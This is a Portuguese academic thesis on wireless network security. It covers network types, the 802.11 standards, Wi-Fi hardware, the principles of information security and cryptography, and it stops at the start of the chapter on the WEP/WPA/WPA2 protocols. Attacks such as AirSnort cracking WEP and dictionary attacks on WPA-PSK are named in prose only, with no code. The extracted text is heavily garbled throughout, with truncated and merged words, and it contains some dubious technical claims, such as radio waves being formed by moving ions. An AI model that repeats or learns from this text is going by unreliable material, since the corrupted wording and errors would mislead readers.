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RESUMO

A informacdo no mundo atual tem um papel fundanhemtavida das pessoas e
empresas, O Seu UsO estratégico acaba sendo urendig¢ na competitividade e
sobrevivéncia das mesmas. Devido a essa importataianformacdo existe uma
necessidade de atualizacdo constante, fazendo agem egsas pessoas estejam
conectadas aonde quer que estejam. Mediante issmalogia das redes sem fio € uma
realidade que vem crescendo de forma consider@aef no uso corporativo como no
uso domestico. Esse crescimento se da devido didsala e agilidade que as redes
sem fio proporcionam. O grande problema das reées 0 esta relacionado a
seguranca dessas informacdes. Esse trabalho téhjetivo de realizar um estudo sobre
a analise e padrbes dos protocolos de segurangaee sem fio WEP, WPA e WPA2
de forma a avaliar o seu grau de vulnerabilidagesgrd do padréo 802.11, visto que 0s
mesmos apresentam falhas de implementacéo e na demtilizacdo. Foram definidos
cenarios para realizar os testes de captura e likrsaade senhas, SSID, MAC, entre
outros. O resultado foi o projeto de um guia deslwaticas e recomendacdes acerca da

seguranca em redes sem fio.

Palavras-Chave:Seguranca; Redes sem fio; Criptografia; Padradl02
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1 INTRODUCAO

O avanco tecnoldgico, aliado a vida moderna, exigehomem atual
mobilidade, agilidade e liberdade. Ele precisa caamais comunicar-se aonde quer
que esteja. Por essa razdo, os dispositivos motass,como telefones celulares,
notebooks, PDAs e outros, tém se tornado mais cemonmercado, pois, além de
atender as necessidades atuais, apresentam umficaiga diminuicdo nos seus
custos.

Desse modo, as redes sem fiaréless networkRsvém crescendo de maneira
rapida. Trabalhar livremente dentro do ambient@a@tivo na posse de um PDA ou
notebook conectado a redes sem fio ja € uma relaliela varias empresas no Brasil.

Rufino (2005) ressalta que a mobilidade permite djgpositivos dentro de
uma empresa possam permanecer conectados, sentdpexrdasso aos sistemas e dados
da rede. A flexibilidade que esse ambiente propaecidiz respeito a facilidade que os
dispositivos tém de acessar a rede sem a utilizdedioma estrutura fisica de cabos,
ampliando, assim, a produtividade do funcionérgsol faz com que processos de
negoécios acontecam mais rapidamente e de formaefieisnte, além da possibilidade
de que novos processos de negécios acontecamahdaoe.

Dias (2002) relata que devido ao crescimento epalpazacdo dessas redes,
um desafio para a comunicacdo sem fios sdo asogsestferentes a seguranca. Uma
rede sem fio € muito vulneravel a ataques, podguimas falhas, que sdo exploradas
geralmente por curiosos e intrusos, muitas vezeisemados combackers

Cuidar das informacdes que trafegam por essas smhesfio € essencial,
pois sdo informac¢des muito pertinentes a vida daresa. Em posse de concorrentes ou

pessoas mal intencionadas podem causar sérioeprablh empresa.
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Segundo Soares (2004) o padréo IEEE 802.11 des¢adas demais opcdes
de acesso movel por sua elevada popularidade, gledadaxas de transmissao de dados
que oferece e pelo custo relativamente baixo.

No padrdo 802.11 existem os protocolos de privdeiddired Equivalent
Privacy (WEP), Wi-Fi Protected Acces@VPA) elEEE 802.11i (WPA2) que buscam
nas redes sem fio a mesma privacidade obtida ees @beadas. Esses protocolos sao
uma forma de protecdo dos usuarios autorizadosracoewentuais ataques de
interceptacdo de sinal. Porém, apresentam algumlagrabilidades que podem ser
prejudiciais a seguranca.

Neste contexto, o trabalho em questdo baseia-seenessidade de se
pesquisar as vulnerabilidades, documentar técrdeaprotecdo, implementar essas
técnicas e, por fim, realizar testes para anaieaa seguranca esta de acordo com as
técnicas implementadas no ambiente que utilizasedefio.

E muito importante que todo ambiente sem fio tealywma técnica de
protecao para evitar manipulacdo nao autorizad&grdea a reduzir a probabilidade e o

impacto de incidentes de seguranca.

1.1 OBJETIVO GERAL

Pesquisar, analisar, implementar e testar as g seguranca no padrao
IEEE 802.11, utilizando os protocolod/ired Equivalent Privacy(WEP), Wi-Fi
Protected Acces@VPA) elEEE 802.11i (WPA2), documentando as vulnerabilidades e

respectivas técnicas de correcao.
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1.2 OBJETIVOS ESPECIFICOS

Os objetivos especificos deste trabalho sao:

a) destacar a importancia da seguranca das informacoes
b) identificar as caracteristicas e funcionalidadepatirdo IEEE 802.11;
C) pesquisar a seguranc¢a dentro do padrao IEEE 802.11;

d) desenvolver estudo de caso, utilizando segurangaodéo padréo IEEE

802.11;

e) analisar as caracteristicas, vulnerabilidades, gersu técnicas de

seguranca dos protocolos WEP, WPA e WPA2;
f) implementar técnicas de seguranca nos protocold3, WA e WPA2;

g) testar, por meio de softwares, a seguranca implam@mo ambiente

sem fio;

h) documentar os resultados dos testes.

1.3 JUSTIFICATIVA

As redes sem fio vém se destacando no mercado deinmaapida, e um
item que deve ser levado em consideracdo é a seguda informacdo que trafega
nessas redes.

Segundo Menezes (2007) a seguranca € um item @uee aleesejar, o que

acaba classificando uma rede sem fio como ruimérRomuitas vezes o que ha € um
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descuido nas politicas de seguranca e implementagatalta de uma técnica de
seguranca no ambiente sem fio.

O protocolo WEP possui problemas administrativaécaicos. Um deles &
relacionado ao fato de se utilizar uma chave Uaieatatica compartilhada entre todos
os dispositivos da rede. Caso a mudanca dessa cegvanecessaria, 0 processo €
trabalhoso e algumas vezes inviavel, principalmeotgue diz respeito a provedores.
Outro problema refere-se ao algoritmo que é passataques (SOARES, 2004).

Em 2001 foram executados testes utilizando o pnogrehamadd\irSnort
que roda em ambientésnux, e em segundos pode-se determinar a chave dapimto
WEP (VERISSIMO, 2002).

O WPA foi criado com objetivo de corrigir todos psoblemas do WEP,
antecipando as melhorias que seriam implementadls grotocolo IEEE 802.11i
(WPA2). No entanto, ele também contém vulnerallédae € passivo de ataques.
Segundo Rufino (2005) a principal vulnerabilidadepdotocolo WPA ¢é a utilizacdo do
método de autenticacdo PSK. A autenticacdo PSKistenem uma senha pré-
compartilhada pelos usuérios da rede. Essa sentiizada pelo ponto de acesso para
obter as chaves de criptografia e deve ser digtadamaquinas dos usuarios para que
obtenham acesso sem a necessidade de um senadam,Rim atacante podera usufruir
de ataques de dicionario por meio da captura pasivirafego da rede. Pelo fato da
maioria dos usuarios utilizarem senhas fracasféichquebrar a senha.

Percebe-se que o nivel de vulnerabilidade em redes fio é bastante
intenso. Diante das situacdes expostas, sentaigeessidade de se realizar um estudo
das principais vulnerabilidades no padrao 802.atbwcolos WEP, WPA e WPA2.

Esse trabalho tem o objetivo de analisar os prédsode seguranca dentro

do padrédo 802.11, pesquisar as vulnerabilidadésrecas de prote¢cdo das mesmas nos
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protocolos WEP, WPA e WPAZ2, contribuindo, assimapescolha e implementacéo da

técnica de protecdo mais adequada a necessidade Qusca.

1.4 ESTRUTURA DO TRABALHO

Este trabalho € composto por sete capitulos vdtgpdoa a seguranca em

ambientes sem fios 802.11, distribuidos em:

a)

b)

d)

f)

9)

introducéo: apresenta ao leitor o objetivo do trabalho, fapemaha
abordagem panoramica do trabalho;

tecnologia das redesaborda os principais tipos de redes utilizadas
atualmente, descrevendo algumas caracteristiczaddeuma,

redes sem fio:explica de forma detalhada o que € e como funciona
uma rede sem fio;

seguranca em redes sem fiomostra o funcionamento e as
caracteristicas da seguranca da informacdo emeufessem fio;
protocolos para redes sem fio:nesse capitulo os protocolos
criptogréaficos WEP, WPA e WPA2 serdo definidos enparados
detalhadamente, levando em consideracdo a cordidd,
integridade, autenticidade e vulnerabilidades;

trabalhos correlatos: serdo descritos alguns trabalhos sobre
seguranca em redes sem fios que foram realizadnsosomesmos
objetivos;

validagado dos protocolos WEP, WPA e WPA2completando o
trabalho, esse capitulo apresenta o desenvolvingentestes praticos

sobre os protocolos, a fim de valida-los.
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2 TECNOLOGIA DE REDES

As redes de computadores sdo parte do cotidianonuieas pessoas e
empresas de todo mundo. Desde as primeiras exp@séna década de 60, até os dias
de hoje, as tecnologias de comunicacao entre cauds evoluiram substancialmente
(TANEMBAUM, 2003).

A facilidade de comunicacgéo proporcionada pelarmetietem modificado o
cenario de escritorios, fabricas, escolas e residénEste cenario se torna cada vez
mais interessante a partir da evolucédo das teciaslgmara interligar pontos remotos.
Nakamura e Geus (2003) destacam que a busca degmancomunicacao aliada a
facilidade, comodidade e praticidade, culminou oputarizacao de tecnologias de rede
sem fio.

De acordo com Tanenbaum (2003) estas tecnologiasligam de ondas de
radio para a transmissdo dos dados, ou seja, &xdasormacdes sdo transmitidas por
meio do ar, meio este que pode ser facilmentecepeéado por terceiros.

Do ponto de vista da abrangéncia, as redes de ¢adgres podem ser
classificadas em quatro grandes grup@ile Area NetworQWAN), Metropolitan Area

Network(MAN), Local Area NetworKLAN) e Wireless Local Area NetwoKdVLAN).

2.1LOCAL AREA NETWORKLAN

Mais conhecida como rede local, tem como finalidadeca de dados entre

estacoes de trabalho, servidores, dispositivosede (roteadoresswitches, bridges

placas de rede, pontos de acesso, entre outrosptec@os de comunicagdo. E
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denominada local por cobrir areas de até dez qeil@®, quando passa a ser

denominada WAN.

2.2 WIDE AREA NETWORKWAN

WAN é uma rede de longa distancia que abrange uraadg éarea
geografica. Surgiu quando as LANS se tornaram va&aas empresas em crescimento
gue necessitavam de um servico de qualidade qndesige a demanda de informacdes

por toda a area geografica de suas unidades deioego

2.3METROPOLITAN AREA NETWORHKJAN

Denominada uma rede de area metropolitana, a retld pbde abranger
toda uma cidade, e dentro de uma distancia detadaipodem interligar diversos

escritorios (LANs) de uma mesma empresa.

2.4WIRELESS LOCAL AREA NETWORWLAN

Rede de éarea local sem fio que faz conexdo porsvoondas de radio.
Inicialmente, devido ao alto custo, surgiu apemasaeroportos, universidades, alguns
principais lugares publicos e em demais LANs, cgrdedificil 0 acesso por cabo.

Com a reducgédo dos custos e ainda com a padronizigprotocolos de
comunicacao, que dificultavam a compatibilidadeesdispositivos, as WLANs estao

bem mais préximas de usuarios domésticos (NAKAMURBEUS, 2003).
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A conexao destas redes é realizada por meio daagess poin{ponto de
acesso) ligado abotspot(estacdo base) como, por exemplo, laptop, que recebe a
conexdo por ondas de radio liberadas pela anterecckss poine entdo estabelece

conexdo com a rede.

2.5 AINTERNET E O IMPACTO SOCIAL

E notavel que nos Gltimos anos a informatica resiohou a sociedade em
diversos aspectos. Empresas puderam se aproxirdarvegz mais de seus clientes,
parentes distantes podem se comunicar gratuitameote meio da Internet,
equipamentos foram rapidamente ultrapassados, forgga foi substituida por
maquinas, entre tantas outras mudancas.

Nakamura e Geus (2003) retratam todas essas mudatagalo énfase aos
aspectos e relagcbes com o novo valor da informaf@opas de armazenagem,
transmissdo, compartilhamento, disponibilidade, resob O6tica da Seguranca da
Informacdo. Devido a popularizagdo da Internet,iaaddia da populacdo vem se
transformado em um constante aprendizado. Em poaicos, de artigo de luxo, os
computadores passaram a ser equipamentos indispensén lojas, fabricas, empresas
e até mesmo em casas, de qualquer classe social.

Entretanto, junto com tamanha mudanca e transf@opag; meio eletrénico
tornou-se alvo de atagues dos mais variados tgwdelizmente, segundo o CERT.BR

(2008), o Brasil tem um indice extremamente elexdalmcidentes reportados.
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Figura 1. Incidentes reportados por ano ao CERT.br
Fonte: CERT.br (2009)
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3 REDES SEM FIOS

Nakamura e Geus (2003) retratam que as redes deutadores, apesar de
oferecerem uma mobilidade até entdo nunca vistdaae por esbarrar num obstaculo
relativamente simples, em se tratando de moviméaataxs cabos.

Durante anos um dos maiores problemas dos uswagmssar informacdes
de um computador para outro. Eram necessarioseatesgje outros meios, 0os quais nao
tinham praticidade nenhuma. Com o advento das rexk=a troca de informacbes
passou a ser algo extremamente facil.

A partir dai a dificuldade passou a ser outra,gaimente com a exploséo
no numero denotebookso mercado passou a exigir uma mobilidade aindiarmAs
pessoas, acostumadas com telefones sem fio, dareslupassaram a exigir que em
suas conexdes também ndo fosse necessario o usabds. Perante esse cenario,

surgiram as redes sem fio.

3.1 VISAO GERAL

Redes sem fio sdo redes de computadores na quaenétlizam a infra-
estrutura convencional dos cabos, cujo “os dadosilulados na portadora de radio e
transmitidos por meio de ondas eletromagnéticald’™ (s, 1998, p. 34). Tais redes tém
como grande vantagem a mobilidade que elas ofereceaus usuarios, uma vez que
nao existe a barreira de movimentacao imposta peloss.

Segundo Tanenbaum (2003) as ondas eletromagnéticasormadas por

ions em movimento. O niumero de oscilagdes dessks @énchamado de frequiéncia, e €
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medido em Hertz (Hz). O Espectro eletromagnétiataventre ondas de radio e raios
gama, entre 10° e 4®iz.
As redes sem fio se utilizam de freqiiéncias quiaveentre 2,4 x 10e 5 x

10°, sendo classificadas como ondas de radio, confarkigura 2.

comprimento de onda (em metros)

22 20 18 16 14 12 10 8 f 4
10 10 10 l's'aius[ 10 o 10 10 10 10 10
raios raios X ultravioleta ﬁcqucnmat(cm hertz) micro ondas
gama . vr:l::;emas ondas de radio
Luz Visivel

Figura 2. Espectro eletromagnético.
Fonte: EDUCAR (2008)

3.2 PADROES

As redes sem fio para computadores ja existem hasvanos. Entretanto,
por ndo haver quaisquer restricdes, as empresdsilgieavam equipamentos para este
tipo de rede, ndo seguiam um padrdo, tornando @aaaptos de marcas diferentes
incompativeis entre si.

Em meados da década de 90 os fabricantes deciddratdg, que a melhor
maneira para disseminar as redes sem fio entreu@sias seria criando especificacdes
de fabricacdo, possibilitando, assim, que quais@ggripamentos conseguissem se

comunicar.
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Respeitada internacionalmente, a IEEE foi eleita @acriacdo da norma,
uma vez que ja havia normatizado as redes com Sieguindo, entdo, as normas ja
existentes, a IEEE aprovou, em 1997, a norma 80&2shkcifica para redes sem fio.

A norma 802.11 conta com protocolos criados comitmide solucionar os
mais diversos problemas, tais como: melhorar aidpde¢ de sinal, aumentar a
velocidade de transmissédo, ou deixar as redes semmdis seguras. Os principais

padrbes, segundo a IEEE (2008) sdo: 802.11a; 892802.11g; 802.11i e 802.11n.

3.2.1 Padrdo 802.11a

Com a intencéo de sanar os problemas antes emdositnas padroes 802.11
e 802.11b foi criado o padrdao 802.11a, com umacisgdde maior, chegando ao
maximo de 54 Mbps (de 72 a 108 Mbps por fabricanées padronizados), podendo,
também, operar em velocidade mais baixas. Trabalinga faixa de 5GHz, que tem
como vantagem poucos concorrentes, porém com mé@ear de alcance. Para esse
padréo sao permitidos 64 clientes conectados por AP

O tipo de modulacdo padrdo consiste de 12 canais swedrepostos
disponiveis, diferente dos 3 canais livres dispeisinos padrdoes 802.11b e 802.11g, o
que permite cobrir uma area maior e mais densanpentzada, em melhores condi¢ées
gue outros padroes.

Ha, no entanto, uma desvantagem relacionada a skmara falta de
compatibilidade com a base instalada em relacdpadcdo 802.11b, pois esta utiliza

faixas de frequéncia diferentes.
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3.2.2 Padréo 802.11b

Esse padrédo, primeiro a ser definido pelo comiggmge 11 Mbps de
velocidade de transmissdo méaxima, podendo tambénurdoar-se com velocidades
mais baixas como 5.5, 2 Mbps ou mesmo 1 Mbps. Tiadper trabalhar numa banda
mais baixa, pode sofrer mais interferéncias deosuipos de fontes quaisquer, como
por exemplo, celulares, fornos de microondas eodiiposBluetooth,entre outros, que
trabalham na mesma faixa de 2,4GHz. Sao permitidosmaximo, 32 clientes
conectados por AP. Mesmo tendo limitacbes na atiip de canais, hoje é ainda o
padrdo mais popular no mundo e com a maior basalads, com mais produtos e
ferramentas de administracdo e seguranca dispordgeido ao baixo custo com a
banda gratuita. Na Tabela 4 apresentada abaixmérdtrada a associacéao entre canal

e a respectiva frequéncia:

Tabela 1. Associagdo entre Canal e Respectiva Enetl

Canal Frequéncia
1 2,412
2 2,417
3 2,422
4 2,427
5 2,432
6 2,437
7 2,442
8 2,447
9 2,452
10 2,457
11 2,462
12 2,467
13 2,472
14 2,484

Fonte: RUFINO, N. (2005)
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3.2.3 Padrdo 802.11g

Incorporando varias caracteristicas boas dos pad362.11a e 802.11b,
além de utilizar também modulacdo OFDM e velocidaelaté 54 Mbps, esse padrao
tem como principal vantagem sobre os outros azatfo da faixa de 5GHz por ter
menor atenuacdo. Como desvantagem, possui incdotipatie com dispositivos de
diferentes fabricantes.

Por trabalhar na mesma faixa do padrdo 802.11b GH42), permite que
equipamentos de ambos os padrdes (b e g) possarop@tar no mesmo ambiente,
possibilitando evolucdo menos traumatica do pargstalado, mesmo que iSSso

impligue numa diminuicdo da sua taxa.

3.2.4 Padrédo 802.11i

Padréo que tem por vantagem um protocolo de segamEramaddrobust
Security NetworKkRSN), permitindo que 0s meios de comunicacaarsejais seguros
gue os difundidos atualmente. Criado em junho di26sse padrdo destaca-se pelos
mecanismos de autenticacdo e privacidade. Tambésuipw protocol&Wi-Fi Protected
Access(WPA), que foi desenhado para prover solucdes nodigstas, em relacdo ao

padraowWired Equivalent PrivacfWEP).

3.2.5 Padrao 802.11n

Esse padrdo também é conhecido coMarld Wide Spectrum Efficiency

(WWISE) e tem por finalidade o aumento da velocidgde varia de 100 Mbps até 500
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Mbps, permitindo a distribuicdo de midias e a cdibpialade retroativa com os
padrdes ja existentes.

O padrao opera na faixa de 2,4 GHz e 5 GHz, pod#atlalhar com canais
de 40 MHz e manter compatibilidade com os 20 MHaiat Nesse caso, as velocidades
maximas oscilam em torno de 135 Mbps. Com poucaratita dos padrdes atuais,
destaca-se por uma modificacdo de OFDM conhecid#o ddultiple Input Multiple
Out-OFDM (MIMO-OFDM) que traz maior eficiéncia na propagagi sinal e ampla

compatibilidade reversa com demais protocolos.

3.3 ACESSO A REDES SEM FIO

Para obter acesso a uma rede sem a utilizagcdoodesfio necessarios
equipamentos especificos da tecnologia sem fiesEsguipamentos sao fabricados de
acordo com os padrdes da IEEE para que possamosgrativeis com protocolos

criptograficos, como por exemplo, WEP e WPA.

3.3.1 Ponto de AcessoAccess Point

Principal componente que efetua a conexdo de meaie® sem fios, é ligado
a rede cabeada por meio de sua conexdo RJ-45J@nana regido que da acesso sem
fio a computadores com placa de rede sem fio.

Os pontos de acesso podem operar no padrao 80A1hapu 11g. Em
alguns casos, o aparelho é compativel com maisndeadrdo. Essa transmisséao é feita
por meio de um sinal com uma, duas e até por ht&nas, como o exemplo nas Figuras

3ed.
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Figura 3. Exemplo de aparelho de Ponto de Acemsowna e duas antenas.
Fonte: TRADESYS (2008)

Figura 4. Exemplo de aparelhos de Ponto de Acamsairés antenas.
Fonte: D-LINK (2008)

Usuérios acessam a internet por meio de redesere$éis ou comerciais
utilizando computadoresiotebooks PDAs, entre outros, equipados com as placas de

comunicacao sem fio e um dispositivo centralizadoe € o proprio AP.
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3.3.2 Cartao de rede Wi-Fi

Grande parte dosiotebookscomercializados na atualidade inclui um
adaptador de rede Wi-Fi para que se possa tercaaessia rede sem fio nos padroes
802.11 a/b/g. A antena tanto pode ficar embutidaagtebook normalmente ao lado da

tela de cristal liquido, quanto em cartdes PCMCIA.

3.3.3 Placa de rede PCI Wi-Fi

N&o sénotebookgpodem fazer parte de uma rede sem fio. Existenaplde
rede PCl Wi-Fi que atendem a necessidade de codgratadesktop Essas placas
possuem uma chapa metdlica que isolam os circuitesnos de radiofrequéncia,
evitando que interfiram no funcionamento do equipatm e também que sofram
interferéncia gerada pelos circuitos do mesmo. Bmsstambém, uma antena dobravel

de encaixe que pode ser conectada ao dispositdssaw instalado.

Figura 5. Placa PCl Wi-Fi
Fonte: D-LINK (2008)
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3.3.4 Roteador Sem Fio

Aparelho que, ligado a um dispositivo com acessdntarnet, pode
compartilhar o uso por meio de uma poetaern¢. E considerado um roteador de
banda larga que inclui a funcdo decess pointExistem, ainda, roteadores de banda
larga sem fio que possuem conexdes paralelas e WSBpnexdo RJ45 para

computadores sem placa de rede Wi-Fi.

Figura 6. Roteador sem fio
Fonte: LINKSYS (200)



35

4 SEGURANCA EM REDES SEM FIO

Este capitulo aborda diversos assuntos relacionadsesguranca em redes
sem fio, como o funcionamento de redes sem figptagrafia e seguranca da
informac&o, com embasamento tedrico de diversawesjtespecialistas nos referidos

assuntos.

4.1 SEGURANCA DA INFORMACAO

Seguindo as novas tendéncias de mercado, muitasipagdes passaram a
fazer uso de infra-estruturas computacionais e omragao para facilitar seus processos
organizacionais, internos e externos.

A informacdo passou a ser armazenada e manipuladasegmentos
eletronicos e muitas dessas organizacdes passa@raocupar Com a sua seguranca.

De acordo com Cheswick, Bellovin e Rubin (2005)dteem vista que a
informagédo tornou-se o maior bem da humanidadey @lara a necessidade de
estabelecer normas e boas praticas para garamtirseede forma integra e confiavel.
Qualquer natureza de vazamento contendo dados idetesl ou conhecimentos
desejados por concorrentes acarreta prejuizos uréernss.

A seguranca da informacéo foi criada baseando-seonoeito de realizar
métodos de protecdo contra acessos ndo autorizadtesacdes indevidas ou
indisponibilidade de ativos. Esta area de pesqtésa como objetivo proteger a
informac&o durante seu ciclo de vida, ou seja, dara manipulacdo dos dados,
armazenamento, transporte e descarte, seja etama fmpressa, escrita, eletronica, ou

até mesmo falada.
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4.1.1 Pilares da Seguranca

A bibliografia focada em Seguranca da Informacda, ajuase em sua
totalidade, a utilizacdo de trés pilares que formanbase de sustentacdo para a

seguranca da informacao: confidencialidade, indegie e disponibilidade.

4.1.1.1 Confidencialidade

Segundo Ferreira e Araudjo (2006) a confidenciakdaonsiste em limitar o
acesso a informacdo somente aqueles que estddzadtsr pelo proprietario da
informacéo.

Controles de acesso por meios de autenticacdoneest®o um protocolo de
criptografia de dados implementado pode garantir wmivel adequado de

confidencialidade.

4.1.1.2 Integridade

A integridade tem como funcdo primaria a garangaqde a informacgéo
manipulada mantenha todas as caracteristicas glenoestabelecidas pelo proprietario
da informacgéo até o destino, incluindo neste psmes controle de mudancas.

O controle de mudancas esta relacionado ao nachemu seja, 0 usuario
que alterar uma informacdo ndo poderd negar o fadis existem mecanismos

criptograficos que garantem sua autoria (SILVA,300
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4.1.1.3 Disponibilidade

O dltimo pilar, muitas vezes ndo compreendido eu@sgo, tem como
objetivo garantir que a informacéo esteja sempspadivel para usuarios que estejam
autorizados a acessa-la.

Técnicas modernas de alta disponibilidade e recwi@&ao aplicadas sobre
este pilar para que, caso haja algum tipo de upe&io de acesso a informacéo, o
mesmo possa ser transparentemente contornado.

Alguns autores, como Ferreira e Araujo (2006) ncitautros pilares, como:

a) legalidade: o uso da informacdo deve estar de acoain as leis

aplicaveis, regulamentos, licencas e contratos;

hY

b) auditabilidade: todo acesso a informacdo deve gsagistrado,
possibilitando posteriormente a identificacdo dodn® que efetuou o

acesso e também o que foi feito com a informacao.

Independente da existéncia de outros pilares, ooefoa literatura €
importante ressaltar que as variacdes sempre aortes trés pilares fundamentais:

integridade, confidencialidade e disponibilidade.

4.2 AMEACAS

Possiveis, e muitas vezes desconhecidas, em certdig0es podem causar
impactos aos negocios organizacionais. O ativo & @meaca geralmente é a
exploracdo de vulnerabilidades, culminando em pdedeonfidencialidade, integridade

e disponibilidade.
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As ameacas, segundo Ferreira e Araujo (2006), podem divididas

conforme a Tabela 2.

Tabela 2. Ameacgas a seguranc¢a da informacéo.

Ameaca Exemplos

Naturais Ameacas ocasionadas de fendmenos da natureza,ico@émalios, enchentes,
terremotos, entre outras.

Involuntarias Ameacgas inconsistentes que quase sempre Sao causped
desconhecimento ou imprevisto: acidentes, errdéa fde energia, entre
outras.

Voluntarias Ameacas causadas propositalmente por agentes hsntaisocomo hackers,

invasores, ladroes, entre outras.

Fonte: Adaptado de FERREIRA, F.N.; ARAUJO, M.T (8R0

4.3 VULNERABILIDADES

Vulnerabilidade € uma condicdo de fragilidade de wistema
computacional, que, ao ser explorada, acaba camsandncidente de seguranca. De
acordo com Ferreira e Araujo (2006) sédo elemenassipos, falhas que sO serdo
afetadas por agentes causadores ou condicOes Vaorda Tabela 3 podem ser

observados exemplos de vulnerabilidades.

Tabela 3. Exemplos de vulnerabilidades.

Vulnerabilidades Exemplos

Fisicas InstalacGes fora do padréo; risco de vazamentogndios; a falta de extintores,
detectores de fumaca, entre outros.

Naturais Todo ativo corre o risco de ser afetado por um stesanatural, como incéndio,
enchente, terremotos entre outras.

Hardware Falha dos recursos tecnologicos. As vezes por giesga até mesmo ma utilizagao.

Software Erros na instalacdo, méa utilizacdo e principalmenté configuragdo podem
provocar vazamento, perda e indisponibilidade dakod.

Midias Qualquer tipo de armazenamento de dados gerdeerdido ou danificado.
Comunicacédo Perda de comunicacéo e acesso nao autorizado.
Humanas Falta de treinamento, compartilhamento indevidoirfermacdes confidenciais,

erros ou omissoes, greve, vandalismo, roubo, entras.

Fonte: Adaptado de SEMOLA, M (2003).
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4.4 MEDIDAS DE SEGURANCA

As medidas de seguranca, também conhecidas conrarmedidasounter
measure sao elementos dentro de um sistema computadipeatém a finalidade de
diminuir o risco e a fragilidade dos ativos de miacao.

Segundo Sémola (2003) as medidas de seguranca pselerolassificadas,

conforme a Tabela 4.

Tabela 4. Medidas de Seguranca.

Medidas de Seguranca Descricdo

Preventivas Tem como objetivo impedir que incidentes venhamcarrer. Visam
manter a seguranca imposta pela politica de segmrda empresa.
Palestras, treinamentdigewall, antivirus e configuracdes adequadas de
roteador eaccess poinsao exemplos de prevencao.

Detectéveis Buscam identificar condicdes ou causadores de ameaBlguns
exemplos séo analises de riscos e cameras dencigila

Corretivas Acdes voltadas a correcdo de estruturas tecnolgima humanas
visando que as mesmas se adaptem a politica deaseglestabelecida
pela empresa.

Fonte: Adaptado de SEMOLA, M (2003).

4.5 CRIPTOGRAFIA

Apesar do grande numero de protocolos, e da apatentplexidade, devido
a quantidade de informacdes, configurar uma regefseé algo extremamente facil.
Para uma configuracdo simples basta ligar os calmmsnecar a transmitir dados entre
0sS equipamentos. Porém, esse procedimento ndcogmerdavel, principalmente em
grandes centros.

Uma vez que a transmissao sem fio é feita por odeaadios, basta possuir
uma antena para capturar os dados. Sendo assoubo de informacdes se torna algo
simples, quando ndo se implementa qualquer tipo pdética de seguranca

(TANENBAUM, 2003).
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Apesar de existirem maneiras de restringir 0 acedsopessoas nao
autorizadas ao ponto de acesso, tal maneira nataknénte eficaz para garantir a
seguranca dos dados transmitidos, pois, apesaBaden acesso a rede em si, uma
pessoa mal intencionada pode monitorar os canams,domo as frequéncias de radio,
coletando, dessa maneira, tudo o que for transondiel um ponto de acesso a um
computador com placa Wi-Fi.

Mas, ja que ndo ha como impedir que alguém cai@a, pode-se fazer
com que apenas o remetente original da mensagesiga@ntendé-la. Para isso, usa-se

a criptografia.

4.5.1 Conceito

A expressao Criptografia origina-se da juncdo dasdpalavras gregas:
Kryptds que significa “oculto” egraphien cuja traducdo é “escrever”. Juntando-se as
duas, conforme Tanenbaum (2003), forma-se “esseiteeta”.

A criptografia é de fundamental importancia paraseguranca das
organizacgbes na atualidade. E considerada, seduakiamura e Geus (2003, p. 287),
“a ciéncia de manter as mensagens seguras”.

Os autores afirmam que a cifragem é o procedimaémtembaralhar o texto
original de tal forma que seu conteudo € esconéilouma mensagem cifrada. A
decifragem, por sua vez, € 0 processo inverso, orexeto original é resgatado do texto
cifrado.

A cifragem, também chamada de criptografia, assimcca decifragem,

chamada de decriptografia, sdo feitas por meio sto de algoritmos com fungdes
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matematicas complexas, protegendo a informacaoracontegridade, autenticidade,

nao-repudio e sigilo (SILVA, 2003).

Processo de criptografia

& informatica trouxe uma ;gﬂg%%;ﬁ;;ﬁ@mm

nova visdo e persEEctiva — —» @3@34T-=‘.15‘/:Hﬂ:|53“1u“&%

para & COMUNICacao 8 1843 R ORLR
TEXTO ORIGINAL TEXTO CIFRADO

Processo de decriptografia
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Figura 7. Processo de Criptografia e Decriptografi
Fonte: Silva, L. (2003)

As técnicas mais conhecidas na computacdo utilizasonceito de chaves
criptograficas. Estas chaves, responsaveis pealageiin e decifragem dos dados, séao
compostas por uma sequéncia lts definidas por um algoritmo. Quanto maior a
quantidade dbits da chave, quase sempre € maior o esforco despogpalia a quebra.

Os métodos criptograficos sdo realizados por meidais grandes sistemas:
criptografia simétrica, também conhecida como ogpfia de chave secreta, e
criptografia assimétrica, reconhecida como crigfigrde chave publica (BURNETT,

2002).
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4.5.2 Criptografia Simétrica e Assimétrica

A criptografia simétrica utiliza-se do conceito dbave compartilhada,
mantendo uma unica chave para o processo de ciffagemo para o processo de
decifragem. Desta forma o segredo esta guardadivodda chave. Quem a detiver
podera cifrar ou decifrar qualquer mensagem (SILX2Q3).

O termo chave utilizado, segundo Burnett (2002,%), “vem do fato de que
0 numero secreto que vocé escolhe funciona da mesameira que uma chave
convencional”.

De forma bastante diferenciada, a criptografiatteese publica, consiste, de
acordo com Burnett (2002), em utilizar um par davels (uma publica e outra privada)
matematicamente relacionadas. Na criptografia @&tgoa, uma chave é utilizada para
encriptar os dados e outra para a decriptografia.

A aplicabilidade dos dois modelos de criptografithaliretamente ligada ao
tipo de informacédo que seré assegurada e princgpaémao numero de pessoas e ativos
que a ela podem ter acesso. E comum utilizar gipfa assimétrica quando a
informacdo deve ser compartilhada por muitas psssama contrario da criptografia
simétrica, que geralmente mantém poucos e condéidvenvolvidos no
compartilhamento.

Nakamura e Geus (2003) acrescentam, quando acaydams algoritmos
de chave simétrica, além de outros problemas coooa tsegura de chaves, impdem
uma complexidade quanto ao gerenciamento de clmavaslizacdo de chaves secretas
diferentes para cada tipo de comunicacao.

A criptografia de chave publica, segundo os autoresolve, além do

problema de distribuicdo de chaves, a complexiddelegerenciamento destas. As
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chaves publicas devem ficar expostas para quedquasuarios quiserem enviar dados
criptografados para outros, possam utilizar a chpublica correspondente para
encriptar os dados. O receptor, por sua vez, anflisua chave privada para o processo
de decifragem. Isso funciona perfeitamente, poismmmento da geracdo do par de
chaves, tanto a parte publica quanto a privadaénanin relacionamento matematico,
permitindo a decifragem com a chave privada quanddormacéao for cifrada com a
parte publica (TANENBAUM, 2003).

Aparentemente, a criptografia assimétrica possuerdas vantagens com
relacdo a simétrica. Sua utilizacéo, contudo, éacde 60 a 70 vezes mais lenta que os
algoritmos simétricos. Geralmente, a parte privaaariptografia assimétrica utiliza-se
de um algoritmo simétrico (NAKAMURA; GEUS, 2003).

O intuito do processo de criptografia, no que tamgedes sem fio, é prover
a privacidade das informacfes que trafegam pela. 1©d dados cifrados devem ser
decifrados somente pelos elementos autorizadosfa@eea essa operagao. A seguir Sao

mostrados os protocolos para redes sem fio quenfaaeso de criptografia.
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5 PROTOCOLOS PARA REDES SEM FIO

